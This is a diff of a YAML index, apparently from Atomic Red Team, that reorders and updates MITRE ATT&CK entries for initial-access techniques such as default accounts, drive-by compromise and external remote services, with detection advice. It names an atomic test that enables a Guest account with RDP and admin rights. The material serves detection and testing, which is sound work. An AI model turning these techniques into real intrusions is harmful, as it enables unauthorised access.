-        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
-
-        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
-      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2021-04-05T20:14:26.846Z'
-      created: '2020-03-13T20:15:31.974Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_detection: Monitor whether default accounts have been activated or logged
-        into. These audits should also include checks on any appliances and applications
-        for default credentials or SSH keys, and if any are discovered, they should
-        be updated immediately.
+      name: Default Accounts
       x_mitre_data_sources:
       - 'User Account: User Account Authentication'
       - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-04-05T20:14:26.846Z'
+      created: '2020-03-13T20:15:31.974Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -75389,6 +77623,47 @@ initial-access:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
+      description: |-
+        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
+
+        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_detection: Monitor whether default accounts have been activated or logged
+        into. These audits should also include checks on any appliances and applications
+        for default credentials or SSH keys, and if any are discovered, they should
+        be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/001
+        external_id: T1078.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/70.html
+        external_id: CAPEC-70
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
+        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
+          11, 2019.
+        source_name: Microsoft Local Accounts Feb 2019
+      - url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
+        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
+        source_name: AWS Root User
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
+      - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
+        description: Metasploit. (n.d.). Retrieved April 12, 2019.
+        source_name: Metasploit SSH Module
       identifier: T1078.001
     atomic_tests:
     - name: Enable Guest account with RDP capability and admin privileges
@@ -75460,35 +77735,17 @@ initial-access:
         elevation_required: true
   T1078.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.002
-        url: https://attack.mitre.org/techniques/T1078/002
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - source_name: Microsoft AD Accounts
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
-        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
-          March 13, 2020.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Domain Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
-
-        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
-      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       type: attack-pattern
+      name: Domain Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T03:29:47.651Z'
+      created: '2020-03-13T20:21:54.758Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -75498,30 +77755,85 @@ initial-access:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-09-16T19:42:11.787Z'
-      created: '2020-03-13T20:21:54.758Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
+
+        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: "Configure robust, consistent account activity audit policies
+        across the enterprise and with externally accessible services.(Citation: TechNet
+        Audit Policy) Look for suspicious account behavior across systems that share
+        accounts, either user, admin, or service accounts. Examples: one account logged
+        into multiple systems simultaneously; multiple accounts logged into the same
+        machine simultaneously; accounts logged in at odd times or outside of business
+        hours. Activity may be from interactive login sessions or process ownership
+        from accounts being used to execute binaries on a remote system as a particular
+        account. Correlate other security systems with login information (e.g., a
+        user has an active login session but has not entered the building or does
+        not have VPN access).\n\nOn Linux, check logs and other artifacts created
+        by use of domain authentication services, such as the System Security Services
+        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
+        accounts to detect accounts that may have been created by an adversary for
+        persistence."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/002
+        external_id: T1078.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
+        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
+          March 13, 2020.
+        source_name: Microsoft AD Accounts
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
+      - url: https://ubuntu.com/server/docs/service-sssd
+        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
+        source_name: Ubuntu SSSD Docs
     atomic_tests: []
   T1189:
     technique:
-      id: attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-07-28T01:37:46.704Z'
       name: Drive-by Compromise
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.3'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - SaaS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6
       description: "Adversaries may gain access to a system through a user visiting
         a website over the normal course of browsing. With this technique, the user's
         web browser is typically targeted for exploitation, but adversaries may also
@@ -75558,58 +77870,55 @@ initial-access:
         like OAuth tokens, to gain access to protected applications and information.
         These malicious applications have been delivered through popups on legitimate
         websites.(Citation: Volexity OceanLotus Nov 2017)"
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1189
-        url: https://attack.mitre.org/techniques/T1189
-      - url: http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
-        description: Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic
-          Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved
-          March 13, 2018.
-        source_name: Shadowserver Strategic Web Compromise
-      - source_name: Volexity OceanLotus Nov 2017
-        description: 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms:
-          Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the
-          Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.'
-        url: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2020-03-29T23:48:15.056Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
       x_mitre_contributors:
       - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
       - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - SaaS
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.
 
-        Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.
+        Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.
 
         Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Application Log: Application Log Content'
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1189
+        external_id: T1189
+        source_name: mitre-attack
+      - source_name: Shadowserver Strategic Web Compromise
+        description: Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic
+          Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved
+          March 13, 2018.
+        url: http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/
+      - url: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
+        description: 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms:
+          Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the
+          Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.'
+        source_name: Volexity OceanLotus Nov 2017
     atomic_tests: []
   T1190:
     technique:
-      id: attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-07-20T21:51:45.776Z'
       name: Exploit Public-Facing Application
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.3'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Network
+      - Linux
+      - macOS
+      - Containers
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c
       description: "Adversaries may attempt to take advantage of a weakness in an
         Internet-facing computer or program using software, data, or commands in order
         to cause unintended or unanticipated behavior. The weakness in the system
@@ -75630,122 +77939,83 @@ initial-access:
         websites and databases, the OWASP top 10 and CWE top 25 highlight the most
         common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top
         25)"
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1190
-        url: https://attack.mitre.org/techniques/T1190
-      - url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
-        description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
-          Detail. Retrieved April 3, 2018.
-        source_name: NVD CVE-2016-6662
-      - url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
-        description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
-          SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
-        source_name: CIS Multiple SMB Vulnerabilities
-      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
-        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
-        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
-          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
-        description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
-          Detail. Retrieved April 3, 2018.
-        source_name: NVD CVE-2014-7169
-      - url: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
-        description: OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved
-          April 3, 2018.
-        source_name: OWASP Top 10
-      - source_name: CWE top 25
-        url: https://cwe.mitre.org/top25/index.html
-        description: Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011,
-          September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved
-          April 10, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2021-04-12T18:25:16.409Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Network
-      - Linux
-      - macOS
-      - Containers
+      x_mitre_contributors:
+      - Yossi Weizman, Azure Defender Research Team
+      - Praetorian
       x_mitre_detection: Monitor application logs for abnormal behavior that may indicate
         attempted or successful exploitation. Use deep packet inspection to look for
         artifacts of common exploit traffic, such as SQL injection. Web Application
         Firewalls may detect improper inputs attempting exploitation.
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_version: '2.3'
-      x_mitre_contributors:
-      - Yossi Weizman, Azure Defender Research Team
-      - Praetorian
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1190
+        external_id: T1190
+        source_name: mitre-attack
+      - source_name: NVD CVE-2016-6662
+        description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
+          Detail. Retrieved April 3, 2018.
+        url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
+      - source_name: CIS Multiple SMB Vulnerabilities
+        description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
+          SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
+        url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
+      - url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
+        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
+          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
+        source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - source_name: NVD CVE-2014-7169
+        description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
+          Detail. Retrieved April 3, 2018.
+        url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
+      - source_name: OWASP Top 10
+        description: OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved
+          April 3, 2018.
+        url: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
+      - url: https://cwe.mitre.org/top25/index.html
+        description: Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011,
+          September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved
+          April 10, 2019.
+        source_name: CWE top 25
     atomic_tests: []
   T1133:
     technique:
-      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: External Remote Services
-      description: |-
-        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.
-
-        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
-
-        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1133
-        url: https://attack.mitre.org/techniques/T1133
-      - external_id: CAPEC-555
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/555.html
-      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
-        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
-          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
-        source_name: Volexity Virtual Private Keylogging
-      - source_name: Trend Micro Exposed Docker Server
-        url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
-        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
-          Target Exposed Docker Servers. Retrieved April 5, 2021.
-      - source_name: Unit 42 Hildegard Malware
-        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
-        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
-          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: External Remote Services
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Logon Session: Logon Session Metadata'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '2.3'
+      modified: '2021-08-19T16:57:27.209Z'
+      created: '2017-05-31T21:31:44.421Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-22T20:22:02.443Z'
-      created: '2017-05-31T21:31:44.421Z'
-      x_mitre_is_subtechnique: false
+      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
       x_mitre_platforms:
       - Windows
       - Linux
       - Containers
+      - macOS
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: |-
-        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
+      description: |-
+        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
 
-        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Logon Session: Logon Session Metadata'
-      - 'Network Traffic: Network Traffic Flow'
+        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
+
+        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
       x_mitre_contributors:
       - ExtraHop
       - David Fiser, @anu4is, Trend Micro
@@ -75761,7 +78031,34 @@ initial-access:
       - Vishwas Manral, McAfee
       - Daniel Oakley
       - Travis Smith, Tripwire
-      x_mitre_version: '2.2'
+      x_mitre_detection: |-
+        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
+
+        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1133
+        external_id: T1133
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/555.html
+        external_id: CAPEC-555
+        source_name: capec
+      - url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
+        description: Apple Support. (n.d.). Set up a computer running VNC software
+          for Remote Desktop. Retrieved August 18, 2021.
+        source_name: MacOS VNC software for Remote Desktop
+      - source_name: Volexity Virtual Private Keylogging
+        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
+          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
+        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
+      - url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
+        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
+          Target Exposed Docker Servers. Retrieved April 5, 2021.
+        source_name: Trend Micro Exposed Docker Server
+      - url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
+        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
+          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
+        source_name: Unit 42 Hildegard Malware
       identifier: T1133
     atomic_tests:
     - name: Running Chrome VPN Extensions via the Registry 2 vpn extension
@@ -75810,68 +78107,89 @@ initial-access:
           Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
   T1200:
     technique:
-      id: attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hardware Additions
-      description: 'Adversaries may introduce computer accessories, computers, or
-        networking hardware into a system or network that can be used as a vector
-        to gain access. While public references of usage by APT groups are scarce,
-        many penetration testers leverage hardware additions for initial access. Commercial
-        and open source products are leveraged with capabilities such as passive network
-        tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking
-        (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck
-        Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016),
-        adding new wireless access to an existing network (Citation: McMillan Pwn
-        March 2012), and others.'
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1200
-        url: https://attack.mitre.org/techniques/T1200
-      - external_id: CAPEC-440
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/440.html
-      - url: https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
-        description: Michael Ossmann. (2011, February 17). Throwing Star LAN Tap.
-          Retrieved March 30, 2018.
-        source_name: Ossmann Star Feb 2011
-      - url: https://www.youtube.com/watch?v=lDvf4ScWbcQ
-        description: Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding
-          the virtual & physical tools used by white/black hat hackers. Retrieved
-          March 30, 2018.
-        source_name: Aleks Weapons Nov 2015
-      - url: https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained
-        description: Hak5. (2016, December 7). Stealing Files with the USB Rubber
-          Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.
-        source_name: Hak5 RubberDuck Dec 2016
-      - url: https://www.youtube.com/watch?v=fXthwl6ShOg
-        description: Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel.
-          Retrieved March 30, 2018.
-        source_name: Frisk DMA August 2016
-      - url: https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/
-        description: Robert McMillan. (2012, March 3). The Pwn Plug is a little white
-          box that can hack your network. Retrieved March 30, 2018.
-        source_name: McMillan Pwn March 2012
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
